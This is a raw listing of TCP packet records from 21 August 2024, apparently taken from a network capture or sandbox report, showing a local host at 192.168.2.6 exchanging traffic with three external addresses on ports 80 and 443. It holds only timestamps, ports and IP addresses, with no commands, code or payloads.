Aug 21, 2024 08:32:15.790352106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.790376902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.790746927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790756941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.790838957 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.790852070 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.790904045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791203976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791215897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791223049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791229963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791237116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791248083 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.791249990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791254044 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.791255951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791260004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791264057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791270971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791274071 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791280031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791286945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791295052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791301966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791305065 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791311026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791313887 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.791322947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791341066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791353941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791554928 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.791568995 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.791640997 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.791646004 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.791662931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791676044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791682005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791687012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791693926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791702032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791712046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791716099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.791724920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.791724920 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.791747093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.792829990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.792838097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.792850018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.792901993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.792921066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.792974949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.792987108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793006897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793015957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793026924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.793051004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.793447971 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.793462038 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.793514967 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.793520927 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.793533087 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.793586016 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.793700933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793713093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793720961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793755054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.793787003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.793838978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793849945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793858051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793865919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793874025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.793905973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.795028925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795037985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795044899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795052052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795075893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.795092106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.795123100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795131922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795137882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.795169115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.797785044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797802925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797811031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797825098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797833920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797864914 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.797898054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797905922 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.797908068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797916889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.797993898 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.802452087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802465916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802486897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802495003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802503109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802510023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802519083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802531958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802556992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.802593946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.802618027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802625895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802634001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802664042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.802664042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802750111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802756071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802767038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802772045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.802800894 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.803209066 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.803503036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803512096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803533077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803539038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803545952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803571939 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.803600073 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.803620100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803626060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.803666115 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.805907011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.805947065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.805963039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.805969000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.805974007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.805983067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.805995941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806052923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.806087017 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.806103945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806109905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806116104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806119919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806124926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806129932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806143999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.806154966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.806166887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.806190014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.812513113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812529087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812545061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812562943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812575102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812581062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812591076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812598944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812630892 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.812664986 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.812705994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812712908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812722921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812726974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812752008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.812752008 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.812771082 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.812794924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.813477039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.813577890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.814867973 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.814886093 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.814933062 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.814943075 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.814961910 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.814989090 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.815166950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815175056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815193892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815201044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815216064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.815222025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815229893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815241098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.815244913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815253019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815264940 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.815265894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815274954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815288067 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.815293074 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815310955 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.815313101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815321922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815330982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.815354109 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.815368891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816246033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816255093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816261053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816265106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816271067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816276073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816282034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816303015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816318035 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816343069 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816544056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816553116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816566944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816589117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816595078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816596031 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816607952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816613913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816617966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816638947 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816665888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816736937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816745996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816751957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816756964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816762924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816783905 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816807032 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.816816092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.816821098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.818339109 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.822786093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822803020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822813034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822855949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.822870016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822875977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822881937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822887897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.822896004 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.822923899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.822923899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823019028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823026896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823035002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823040962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823052883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823057890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823064089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823070049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823075056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823082924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823093891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823126078 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823127031 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823147058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823244095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823246956 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823254108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823263884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823272943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823286057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823295116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823293924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823324919 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823354006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823354006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823390007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823396921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823406935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823412895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823417902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823424101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823430061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823435068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823441029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823446035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823446989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823458910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823466063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823468924 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823478937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823486090 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823507071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823561907 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823822021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823829889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823843002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823851109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823863983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823870897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823889971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823920965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.823954105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823971033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823980093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823987007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.823998928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824007034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824012995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824018002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824023962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824035883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824042082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824042082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824042082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824054003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824060917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824065924 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824074984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824084044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824093103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824100018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824106932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824107885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824107885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824107885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824115038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824130058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824178934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824178934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824546099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824553967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824564934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824570894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824578047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824611902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824642897 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824696064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824702024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824712038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824717045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824732065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824743986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824748039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824748993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824760914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824767113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824768066 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824778080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824784994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824788094 CEST	49720	80	192.168.2.6	147.45.44.104
